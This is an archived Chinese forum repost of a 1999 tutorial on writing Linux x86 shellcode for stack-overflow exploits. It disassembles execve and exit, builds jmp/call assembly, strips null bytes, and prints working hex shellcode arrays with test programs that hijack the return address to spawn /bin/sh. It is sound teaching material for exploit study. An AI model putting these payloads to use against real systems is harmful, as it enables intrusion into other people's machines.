邪恶八进制信息安全团队技术讨论组's Archiver

金州 2006-1-12 21:16

[转载]如何写shell code

文章作者:warning3

*************************
            *   如何写shell code   *
            *************************
           
                    by warning3 <[email]warning3@hotmail.com[/email]>   
                                  1999/07
                           
我曾看到有人翻了aleph1的<<smashing stack for fun and profit>>,
奇怪的是里面把写shellcode的部分给略掉了,我觉得对于想自己写点儿exploit
的人,不懂怎么写shellcode是不行的.所以我就参考alph1的文章来讲讲怎么写
shellcode.不对的地方还请多多指教.
                                

  通过覆盖堆栈中的返回地址,我们可以让程序转到该地址去执行我们想要执行
的指令.通常的做法是在溢出的数据中放入我们自己的可执行代码,然后覆盖返回地址,
使它指向我们自己代码开始的地址.一般我们希望可执行代码能启动一个shell.假设
堆栈开始的地址是0xFF,"S"代表我们想执行的代码,堆栈的情况如下:

内存     DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF    内存
低端     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF    高端
        buffer           sfp  ret  a    b    c

<------  [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
        ^                   |
        |____________________________|
栈顶                                          栈底


sfp: 堆栈帧指针
ret: 返回地址
a,b,c: 函数入口参数


下面是一个启动shell的C程序:

shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>

void main() {
  char *name[2];

  name[0] = "/bin/sh";
  name[1] = NULL;
  execve(name[0], name, NULL);
}
------------------------------------------------------------------------------

  为了查看它的汇编代码,我们可以先编译它,然后启动gdb来分析。

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:     pushl  %ebp
0x8000131 <main+1>:    movl  %esp,%ebp
0x8000133 <main+3>:    subl  $0x8,%esp
0x8000136 <main+6>:    movl  $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:   movl  $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:   pushl  $0x0
0x8000146 <main+22>:   leal  0xfffffff8(%ebp),%eax
0x8000149 <main+25>:   pushl  %eax
0x800014a <main+26>:   movl  0xfffffff8(%ebp),%eax
0x800014d <main+29>:   pushl  %eax
0x800014e <main+30>:   call  0x80002bc <__execve>
0x8000153 <main+35>:   addl  $0xc,%esp
0x8000156 <main+38>:   movl  %ebp,%esp
0x8000158 <main+40>:   popl  %ebp
0x8000159 <main+41>:   ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:  pushl  %ebp
0x80002bd <__execve+1>: movl  %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl  $0xb,%eax
0x80002c5 <__execve+9>: movl  0x8(%ebp),%ebx
0x80002c8 <__execve+12>:      movl  0xc(%ebp),%ecx
0x80002cb <__execve+15>:      movl  0x10(%ebp),%edx
0x80002ce <__execve+18>:      int   $0x80
0x80002d0 <__execve+20>:      movl  %eax,%edx
0x80002d2 <__execve+22>:      testl  %edx,%edx
0x80002d4 <__execve+24>:      jnl   0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:      negl  %edx
0x80002d8 <__execve+28>:      pushl  %edx
0x80002d9 <__execve+29>:      call  0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:      popl  %edx
0x80002df <__execve+35>:      movl  %edx,(%eax)
0x80002e1 <__execve+37>:      movl  $0xffffffff,%eax
0x80002e6 <__execve+42>:      popl  %ebx
0x80002e7 <__execve+43>:      movl  %ebp,%esp
0x80002e9 <__execve+45>:      popl  %ebp
0x80002ea <__execve+46>:      ret
0x80002eb <__execve+47>:      nop
End of assembler dump.
------------------------------------------------------------------------------

下面我们看看整个过程是怎样的。先从main()开始:

------------------------------------------------------------------------------
0x8000130 <main>:  pushl  %ebp     #保存原来的栈帧指针
0x8000131 <main+1>: movl  %esp,%ebp  #将当前堆栈指针变成新的栈帧指针
0x8000133 <main+3>: subl  $0x8,%esp  #堆栈指针前移8个字节,为局部变量分配空间
                          #相当于 char *name[2];因为每个字符指针
                          #都是4个字节,所以一共8个字节。
0x8000136 <main+6>: movl  $0x80027b8,0xfffffff8(%ebp)
                          #将字符串"/bin/sh"的地址拷贝到name[0]中                             
                          #等于name[0]="/bin/sh";
0x800013d <main+13>:movl  $0x0,0xfffffffc(%ebp)
                          #将0(NULL)值拷贝到name[1]中
                          #等于 name[1]=NULL;                             
0x8000144 <main+20>:pushl  $0x0     #按从右到左的顺序将execv()的三个参数依次
                          #压栈,首先压入NULL值 (第三个参数)
0x8000146 <main+22>:leal  0xfffffff8(%ebp),%eax
                          #将name[]的地址装入寄存器EAX中
0x8000149 <main+25>:pushl  %eax     #将name[]的地址压入堆栈 (第二个参数)
0x800014a <main+26>:movl  0xfffffff8(%ebp),%eax
                        #将"/bin/sh"的地址装入EAX
0x800014d <main+29>:pushl  %eax     #将"/bin/sh"的地址装入堆栈(第一个参数)
0x800014e <main+30>:call  0x80002bc <__execve>
                          #参数全部压栈后,我们开始调用execve()
                          #它首先将当前IP压入堆栈
------------------------------------------------------------------------------                           

  现在我们来看execve().要记住现在我们用的是基于Intel的Linux系统。而syscall的具
体调用细节随着不同的系统和CPU也有所不同。有一些是在堆栈中传递参数,也有的是在寄
存器里。有的是用软件中断跳到kernel模式,有的则是通过一个far调用来完成。Linux在
寄存器里传递它的参数给系统调用,用软件中断跳到kernel模式。(int $80)
  
------------------------------------------------------------------------------
0x80002bc <__execve>:  pushl  %ebp     #保存原来的栈帧指针
0x80002bd <__execve+1>: movl  %esp,%ebp  #将当前堆栈指针变成新的栈帧指针
0x80002bf <__execve+3>: pushl  %ebx     #将ebx压栈
0x80002c0 <__execve+4>: movl  $0xb,%eax  #拷贝0xb(11)到eax中,这是syscall表的
                            #索引值。11代表execv.
0x80002c5 <__execve+9>: movl  0x8(%ebp),%ebx  #将"/bin/sh"的地址拷贝到ebx中
0x80002c8 <__execve+12>:movl  0xc(%ebp),%ecx  #将name[]的地址拷贝到ecx中
0x80002cb <__execve+15>:movl  0x10(%ebp),%edx #将null的地址拷贝到edx中
0x80002ce <__execve+18>:int   $0x80    #软件中断,转入kernel模式

------------------------------------------------------------------------------

从上面的分析可以看出,完成execve()系统调用,我们所要做的不过是这么几项而已:

      a) 在内存中有以NULL结尾的字符串"/bin/sh"
      b) 在内存中有"/bin/sh"的地址,其后是一个long word型的NULL值
      c) 将0xb拷贝到寄存器EAX中
      d) 将"/bin/sh"的地址拷贝到寄存器EBX中
      e) 将"/bin/sh"地址的地址拷贝到寄存器ECX中
      f) 将NULL串的地址拷贝到寄存器EDX中
      g) 执行中断指令int $0x80

  如果execve()调用失败的话,程序将继续从堆栈中获取指令并执行,而此时堆栈中的数据
可能是随机的.通常这个程序会core dump.我们希望如果execve调用失败的话,程序可以正
常退出.因此我们必须在execve调用后增加一个exit系统调用.它的C语言程序如下:  
  
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>

void main() {
      exit(0);
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:    pushl  %ebp
0x800034d <_exit+1>:   movl  %esp,%ebp
0x800034f <_exit+3>:   pushl  %ebx
0x8000350 <_exit+4>:   movl  $0x1,%eax
0x8000355 <_exit+9>:   movl  0x8(%ebp),%ebx
0x8000358 <_exit+12>:  int   $0x80
0x800035a <_exit+14>:  movl  0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:  movl  %ebp,%esp
0x800035f <_exit+19>:  popl  %ebp
0x8000360 <_exit+20>:  ret
0x8000361 <_exit+21>:  nop
0x8000362 <_exit+22>:  nop
0x8000363 <_exit+23>:  nop
End of assembler dump.
------------------------------------------------------------------------------

  我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出号码放
入EBX中,然后执行"int $0x80".大部分程序正常退出时返回0值,我们也在EBX中放入0.现
在我们所要完成的工作又增加了三项:
      a) 在内存中有以NULL结尾的字符串"/bin/sh"
      b) 在内存中有"/bin/sh"的地址,其后是一个long word型的NULL值
      c) 将0xb拷贝到寄存器EAX中
      d) 将"/bin/sh"的地址拷贝到寄存器EBX中
      e) 将"/bin/sh"地址的地址拷贝到寄存器ECX中
      f) 将NULL串的地址拷贝到寄存器EDX中
      g) 执行中断指令int $0x80
      h) 将0x1拷贝到寄存器EAX中
      i) 将0x0拷贝到寄存器EBX中
      j) 执行中断指令int $0x80

  下面我们用汇编语言完成上述工作.我们把"/bin/sh"字符串放到代码的后面,并且将会
把字符串的地址和NULL字加到字符串的后面:
  
------------------------------------------------------------------------------
  movl  string_addr,string_addr_addr   #将字符串的地址放入某个内存单元中
movb  $0x0,null_byte_addr         #将null放入字符串"/bin/sh"的结尾
  movl  $0x0,null_addr            #将NULL字放入某个内存单元中
  movl  $0xb,%eax                #将0xb拷贝到EAX中
  movl  string_addr,%ebx           #将字符串的地址拷贝到EBX中
  leal  string_addr_addr,%ecx        #将存放字符串地址的地址拷贝到ECX中
  leal  null_string,%edx           #将存放NULL字的地址拷贝到EDX中
  int   $0x80                  #执行中断指令int $0x80 (execv()完成)
  movl  $0x1, %eax               #将0x1拷贝到EAX中
  movl  $0x0, %ebx               #将0x0拷贝到EBX中
int   $0x80                  #执行中断指令int $0x80 (exit(0)完成)
  /bin/sh string goes here.          #存放字符串"/bin/sh"
------------------------------------------------------------------------------

  现在的问题是我们并不清楚我们正试图exploit的代码和我们要放置的字符串在内存中
的确切位置.一种解决的方法是用一个jmp和call指令.jmp和call指令可以用IP相关寻址
,也就是说我们可以从当前正要运行的地址跳到一个偏移地址处执行,而不必知道这个地址
的确切数值.如果我们将call指令放在字符串"/bin/sh"的前面,然后jmp到call指令的位置,
那么当call指令被执行的时候,它会首先将下一个要执行指令的地址(也就是字符串的地址
)压入堆栈.我们可以让call指令直接调用我们shellcode的开始指令,然后将返回地址(字符
串地址)从堆栈中弹出到某个寄存器中.假设J代表JMP指令,C代表CALL指令,S代表其他指令,
s代表字符串"/bin/sh",那么我们执行的顺序就象下图所示:

内存     DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF    内存
低端     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF    高端
        buffer           sfp  ret  a    b    c

<------  [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
        ^|^         ^|        |
        |||_____________||____________| (1)
     (2)  ||_____________||
         |______________| (3)
栈顶                                           栈底

(1)用0xD8覆盖返回地址后,子函数返回时将跳到0xD8处开始执行,也就是我们shellcode的
  起始处
(2)由于0xD8处是一个jmp指令,它直接跳到了0xE8处执行我们的call指令
(3)call指令先将返回地址(也就是字符串地址)0xEA压栈后,跳到0xDA处开始执行


  经过上述修改后,我们的汇编代码变成了下面的样子:
------------------------------------------------------------------------------
  jmp   offset-to-call        # 2 bytes 1.首先跳到call指令处去执行
  popl  %esi              # 1 byte  3.从堆栈中弹出字符串地址到ESI中
  movl  %esi,array-offset(%esi)  # 3 bytes 4.将字符串地址拷贝到字符串后面
  movb  $0x0,nullbyteoffset(%esi)# 4 bytes 5.将null字节放到字符串的结尾
  movl  $0x0,null-offset(%esi)  # 7 bytes 6.将null长字放到字符串地址的地址后面
  movl  $0xb,%eax           # 5 bytes 7.将0xb拷贝到EAX中
  movl  %esi,%ebx           # 2 bytes 8.将字符串地址拷贝到EBX中
  leal  array-offset,(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECX
  leal  null-offset(%esi),%edx  # 3 bytes 10.将null串的地址拷贝到EDX
  int   $0x80              # 2 bytes 11.调用中断指令int $0x80
  movl  $0x1, %eax          # 5 bytes 12.将0x1拷贝到EAX中
  movl  $0x0, %ebx          # 5 bytes 13.将0x0拷贝到EBX中
  int   $0x80             # 2 bytes 14.调用中断int $0x80
  call  offset-to-popl        # 5 bytes 2.将返回地址压栈,跳到popl处执行
/bin/sh string goes here.
------------------------------------------------------------------------------

  计算一下从jmp到call和从call到popl,以及从字符串地址到name数组,从字符串地址到
null串的偏移量,我们得到下面的程序:
  
------------------------------------------------------------------------------
jmp   0x26          # 2 bytes 1.首先跳到call指令处去执行
popl  %esi          # 1 byte  3.从堆栈中弹出字符串地址到ESI中
movl  %esi,0x8(%esi)    # 3 bytes 4.将字符串地址拷贝到字符串后面第9个字节处
movb  $0x0,0x7(%esi)   # 4 bytes 5.将null字节放到字符串后第8个字节处
movl  $0x0,0xc(%esi)    # 7 bytes 6.将null长字放到字符串地址后第13个字节处
movl  $0xb,%eax       # 5 bytes 7.将0xb拷贝到EAX中
movl  %esi,%ebx       # 2 bytes 8.将字符串地址拷贝到EBX中
leal  0x8(%esi),%ecx    # 3 bytes 9.将字符串地址的地址拷贝到ECX
leal  0xc(%esi),%edx    # 3 bytes 10.将null串的地址拷贝到EDX
int   $0x80          # 2 bytes 11.调用中断指令int $0x80
movl  $0x1, %eax      # 5 bytes 12.将0x1拷贝到EAX中
movl  $0x0, %ebx      # 5 bytes 13.将0x0拷贝到EBX中
int   $0x80         # 2 bytes 14.调用中断int $0x80
call  -0x2b         # 5 bytes 2.将返回地址压栈,跳到popl处执行
  .string \"/bin/sh\"    # 8 bytes
------------------------------------------------------------------------------
当上述过程执行到第7步时,我们可以看一下这时堆栈中的情况
假设字符串的地址是0xbfffc5f0:
      
  |........ |  
  |---------|0xbfffc5f0  %esi      字符串地址
  |  &#39;/&#39;  |
  |---------|
  |  &#39;b&#39;  |
  |---------|
  |  &#39;i&#39;  |
  |---------|
  |  &#39;n&#39;  |
  |---------|
  |  &#39;/&#39;  |
  |---------|
  |  &#39;s&#39;  |
  |---------|
  |  &#39;h&#39;  |
  |---------|0xbfffc5f7  0x7(%esi) null字节的地址
  |   0   |
  |---------|0xbfffc5f8  0x8(%esi)(存放)字符串地址的地址 即name[0] 大小是4个字节
  |  0xbf  |
  |---------| 注:这四个字节实际可能并不是按顺序存储的,也许是按0xf0c5ffbf的顺序.
  |  0xff  |   我没有验证过,只是为了说明问题,简单的这么写了一下.
  |---------|   有人感兴趣的可以验证一下.
  |  0xc5  |
  |---------|
  |  0xf0  |
  |---------|0xbfffc5fc  0xc(%esi)   空串的地址 即name[1] 大小是4个字节
  |   0   |  
  |---------|
  |   0   |
  |---------|
  |   0   |
  |---------|
  |   0   |
  |---------|  
  | ....... |
      
------------------------------------------------------------------------------        
  为了证明它能正常工作,我们必须编译并运行它.但这里有个问题,我们的代码要自己修
改自己,而大部分操作系统都将代码段设为只读,为了绕过这个限制,我们必须将我们希望
执行的代码放到堆栈或数据段中,并且转向执行它.我们可以将代码放到数据段的一个全局
数组中.我们需要首先得到二进制码的16进制形式.我们可以先编译,然后用GDB得到我们所
要的东西.
  
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
      jmp   0x2a              # 3 bytes
      popl  %esi              # 1 byte
      movl  %esi,0x8(%esi)        # 3 bytes
      movb  $0x0,0x7(%esi)        # 4 bytes
      movl  $0x0,0xc(%esi)        # 7 bytes
      movl  $0xb,%eax           # 5 bytes
      movl  %esi,%ebx           # 2 bytes
      leal  0x8(%esi),%ecx        # 3 bytes
      leal  0xc(%esi),%edx        # 3 bytes
      int   $0x80              # 2 bytes
      movl  $0x1, %eax          # 5 bytes
      movl  $0x0, %ebx          # 5 bytes
      int   $0x80              # 2 bytes
      call  -0x2f              # 5 bytes
      .string \"/bin/sh\"         # 8 bytes
");
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:     pushl  %ebp
0x8000131 <main+1>:    movl  %esp,%ebp
0x8000133 <main+3>:    jmp   0x800015f <main+47>
0x8000135 <main+5>:    popl  %esi
0x8000136 <main+6>:    movl  %esi,0x8(%esi)
0x8000139 <main+9>:    movb  $0x0,0x7(%esi)
0x800013d <main+13>:   movl  $0x0,0xc(%esi)
0x8000144 <main+20>:   movl  $0xb,%eax
0x8000149 <main+25>:   movl  %esi,%ebx
0x800014b <main+27>:   leal  0x8(%esi),%ecx
0x800014e <main+30>:   leal  0xc(%esi),%edx
0x8000151 <main+33>:   int   $0x80
0x8000153 <main+35>:   movl  $0x1,%eax
0x8000158 <main+40>:   movl  $0x0,%ebx
0x800015d <main+45>:   int   $0x80
0x800015f <main+47>:   call  0x8000135 <main+5>
0x8000164 <main+52>:   das
0x8000165 <main+53>:   boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:   das
0x8000169 <main+57>:   jae   0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:   addb  %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>:    0xeb
(gdb)
0x8000134 <main+4>:    0x2a
(gdb)
..
..
..
------------------------------------------------------------------------------

testsc.c
------------------------------------------------------------------------------
char shellcode[] =
      "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
      "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
      "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
      "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
  int *ret;

  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------

  很好,它现在工作了.但还有个小问题.大多数情况下我们都是试图overflow一个字符型
buffer.因此在我们的shellcode中任何的null字节都会被认为是字符串的结束,copy过程
就被中止了.因此要是exploit工作,shellcode中不能有null字节.我们可以略微的调整一
下代码:
  
        有问题的指令:                      替代指令:
        --------------------------------------------------------
        movb  $0x0,0x7(%esi)           xorl  %eax,%eax
        molv  $0x0,0xc(%esi)           movb  %eax,0x7(%esi)
                                movl  %eax,0xc(%esi)
        --------------------------------------------------------
        movl  $0xb,%eax              movb  $0xb,%al
        --------------------------------------------------------
        movl  $0x1, %eax              xorl  %ebx,%ebx
        movl  $0x0, %ebx              movl  %ebx,%eax
                                inc   %eax
        --------------------------------------------------------

  我们改进后的代码如下:

shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
      jmp   0x1f              # 2 bytes
      popl  %esi              # 1 byte
      movl  %esi,0x8(%esi)        # 3 bytes
      xorl  %eax,%eax           # 2 bytes
      movb  %eax,0x7(%esi)        # 3 bytes
      movl  %eax,0xc(%esi)        # 3 bytes
      movb  $0xb,%al            # 2 bytes
      movl  %esi,%ebx           # 2 bytes
      leal  0x8(%esi),%ecx        # 3 bytes
      leal  0xc(%esi),%edx        # 3 bytes
      int   $0x80              # 2 bytes
      xorl  %ebx,%ebx           # 2 bytes
      movl  %ebx,%eax           # 2 bytes
      inc   %eax              # 1 bytes
      int   $0x80              # 2 bytes
      call  -0x24              # 5 bytes
      .string \"/bin/sh\"         # 8 bytes
                           # 46 bytes total
");
}
------------------------------------------------------------------------------

  测试一下新的代码是否工作:

testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
  int *ret;

  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
现在你已经明白了怎么写shellcode了,并不象想象中那么难,是吧?:-)
这里介绍的仅仅是一个写shellcode的思路以及需要注意的一些问题.
你可以根据自己的需要,编写出自己的shellcode来.

页: [1]
© 1999-2008 EvilOctal Security Team